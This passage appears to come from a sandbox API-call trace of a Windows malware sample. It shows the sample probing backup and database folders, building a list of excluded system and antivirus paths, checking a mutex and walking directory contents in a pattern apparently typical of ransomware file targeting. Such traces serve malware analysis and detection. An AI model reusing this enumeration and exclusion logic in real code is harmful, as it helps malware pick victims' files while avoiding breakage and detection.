Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0056.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@帜R企@\x18?T\x18D")) returned 0xffffffff [0056.298] GetLastError () returned 0x2 [0056.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0056.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@塤U企@\x18嚔U\x18j")) returned 0xffffffff [0056.300] GetLastError () returned 0x2 [0056.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0056.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0056.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0056.302] GetLastError () returned 0x2 [0056.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\嚐U ") returned 6 [0056.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0056.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0056.311] GetLastError () returned 0x2 [0056.311] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0056.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@帜R企@\x18?T\x18\x81")) returned 0xffffffff [0056.313] GetLastError () returned 0x2 [0056.313] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0056.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0056.315] GetLastError () returned 0x2 [0056.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0056.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0056.317] GetLastError () returned 0x2 [0056.317] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0056.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@帜R企@\x18?T\x18\x97")) returned 0xffffffff [0056.319] GetLastError () returned 0x2 [0056.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.319] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.319] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.319] GlobalUnlock (hMem=0x44000c) returned 0 [0056.319] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.319] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.319] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.319] GlobalUnlock (hMem=0x44000c) returned 0 [0056.319] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.319] GlobalUnlock (hMem=0x440004) returned 0 [0056.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.319] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.320] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0056.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.320] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0056.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.320] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0056.320] GlobalLock (hMem=0x440004) returned 0x550170 [0056.320] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.320] GlobalUnlock (hMem=0x440004) returned 0 [0056.320] GlobalLock (hMem=0x440004) returned 0x550170 [0056.320] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.320] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.320] GlobalUnlock (hMem=0x440004) returned 0 [0056.320] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.320] GlobalUnlock (hMem=0x44000c) returned 0 [0056.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0056.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0056.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0056.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0056.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0056.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0056.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0056.323] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.323] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.323] GlobalUnlock (hMem=0x44000c) returned 0 [0056.323] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.323] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.323] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.323] GlobalUnlock (hMem=0x44000c) returned 0 [0056.323] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.323] GlobalUnlock (hMem=0x440004) returned 0 [0056.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0056.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.324] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.324] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.324] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0056.324] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.324] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.324] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.324] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.324] GlobalUnlock (hMem=0x440004) returned 0 [0056.324] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.324] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.324] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.324] GlobalUnlock (hMem=0x440004) returned 0 [0056.324] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.324] GlobalUnlock (hMem=0x44000c) returned 0 [0056.324] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.324] CharLowerBuffW (in: lpsz="VSTOInstaller.config", cchLength=0x14 | out: lpsz="vstoinstaller.config") returned 0x14 [0056.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, 